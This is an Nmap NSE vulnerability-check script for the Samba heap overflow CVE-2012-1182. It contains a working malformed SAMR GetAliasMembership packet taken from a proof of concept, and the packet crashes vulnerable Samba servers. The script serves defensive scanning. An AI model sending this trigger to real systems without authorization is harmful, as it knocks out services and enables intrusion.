samba-vuln-cve-2012-1182
NSE detection rule by Aleksandar Nikolic · Same as Nmap--See https://nmap.org/book/man-legal.html
Checks if target machines are vulnerable to the Samba heap overflow vulnerability CVE-2012-1182.
Samba versions 3.6.3 and all versions previous to this are affected by
a vulnerability that allows remote code execution as the "root" user
from an anonymous connection.
CVE-2012-1182 marks multiple heap overflow vulnerabilities located in
PIDL based autogenerated code. This check script is based on PoC by ZDI
marked as ZDI-CAN-1503. Vulnerability lies in ndr_pull_lsa_SidArray
function where an attacker is under control of num_sids and can cause
insufficient memory to be allocated, leading to heap buffer overflow
and possibility of remote code execution.
Script builds a malicious packet and makes a SAMR GetAliasMembership
call which triggers the vulnerability. On the vulnerable system,
connection is dropped and result is "Failed to receive bytes after 5 attempts".
On patched system, samba throws an error and result is "MSRPC call
returned a fault (packet type)".
References:
* https://bugzilla.samba.org/show_bug.cgi?id=8815
* http://www.samba.org/samba/security/CVE-2012-1182
local msrpc = require "msrpc"
local smb = require "smb"
local string = require "string"
local vulns = require "vulns"
local stdnse = require "stdnse"
description = [[
Checks if target machines are vulnerable to the Samba heap overflow vulnerability CVE-2012-1182.
Samba versions 3.6.3 and all versions previous to this are affected by
a vulnerability that allows remote code execution as the "root" user
from an anonymous connection.
CVE-2012-1182 marks multiple heap overflow vulnerabilities located in
PIDL based autogenerated code. This check script is based on PoC by ZDI
marked as ZDI-CAN-1503. Vulnerability lies in ndr_pull_lsa_SidArray
function where an attacker is under control of num_sids and can cause
insufficient memory to be allocated, leading to heap buffer overflow
and possibility of remote code execution.
Script builds a malicious packet and makes a SAMR GetAliasMembership
call which triggers the vulnerability. On the vulnerable system,
connection is dropped and result is "Failed to receive bytes after 5 attempts".
On patched system, samba throws an error and result is "MSRPC call
returned a fault (packet type)".
References:
* https://bugzilla.samba.org/show_bug.cgi?id=8815
* http://www.samba.org/samba/security/CVE-2012-1182
]]
-----------------------------------------------------------------------
---
-- @usage
-- nmap --script=samba-vuln-cve-2012-1182 -p 139 <target>
-- @output
-- PORT STATE SERVICE
-- 139/tcp open netbios-ssn
--
-- Host script results:
-- | samba-vuln-cve-2012-1182:
-- | VULNERABLE:
-- | SAMBA remote heap overflow
-- | State: VULNERABLE
-- | IDs: CVE:CVE-2012-1182
-- | Risk factor: HIGH CVSSv2: 10.0 (HIGH) (AV:N/AC:L/Au:N/C:C/I:C/A:C)
-- | Description:
-- | Samba versions 3.6.3 and all versions previous to this are affected by
-- | a vulnerability that allows remote code execution as the "root" user
-- | from an anonymous connection.
-- |
-- | Disclosure date: 2012-03-15
-- | References:
-- | http://www.samba.org/samba/security/CVE-2012-1182
-- |_ http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-1182
author = "Aleksandar Nikolic"
license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
categories = {"vuln","intrusive"}
hostrule = function(host)
return smb.get_port(host) ~= nil
end
action = function(host,port)
local result, stats
local response = {}
local samba_cve = {
title = "SAMBA remote heap overflow",
IDS = {CVE = 'CVE-2012-1182'},
risk_factor = "HIGH",
scores = {
CVSSv2 = "10.0 (HIGH) (AV:N/AC:L/Au:N/C:C/I:C/A:C)",
},
description = [[
Samba versions 3.6.3 and all versions previous to this are affected by
a vulnerability that allows remote code execution as the "root" user
from an anonymous connection.
]],
references = {
'http://www.samba.org/samba/security/CVE-2012-1182',
},
dates = {
disclosure = {year = '2012', month = '03', day = '15'},
},
exploit_results = {},
}
local report = vulns.Report:new(SCRIPT_NAME, host, port)
samba_cve.state = vulns.STATE.NOT_VULN
-- create SMB session
local status, smbstate
status, smbstate = msrpc.start_smb(host, msrpc.SAMR_PATH,true)
if(status == false) then
return false, smbstate
end
-- bind to SAMR service
local bind_result
status, bind_result = msrpc.bind(smbstate, msrpc.SAMR_UUID, msrpc.SAMR_VERSION, nil)
if(status == false) then
msrpc.stop_smb(smbstate)
return false, bind_result
end
-- create malicious packet, same as in the PoC
local data = string.pack("<I4",4096) -- num_sids
.. "abcd"
..string.pack("<I4I4I4",100
,0
,100)
..string.rep("a",1000)
local marshaledHandle = string.rep("X",20)
status, result = msrpc.samr_getaliasmembership(smbstate,marshaledHandle, data)
stdnse.debug2("msrpc.samr_getaliasmembership: %s, '%s'", status, result)
if(status == false and string.find(result,"Failed to receive bytes after 5 attempts") ~= nil) then
samba_cve.state = vulns.STATE.VULN -- connection dropped, server crashed
end
return report:make_output(samba_cve)
end